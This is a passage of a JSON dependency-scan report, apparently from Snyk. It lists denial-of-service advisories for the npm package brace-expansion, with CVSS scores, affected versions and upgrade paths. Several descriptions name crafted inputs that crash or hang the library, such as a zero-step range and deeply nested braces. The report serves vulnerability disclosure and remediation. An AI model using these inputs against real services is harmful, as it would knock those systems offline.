"format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", 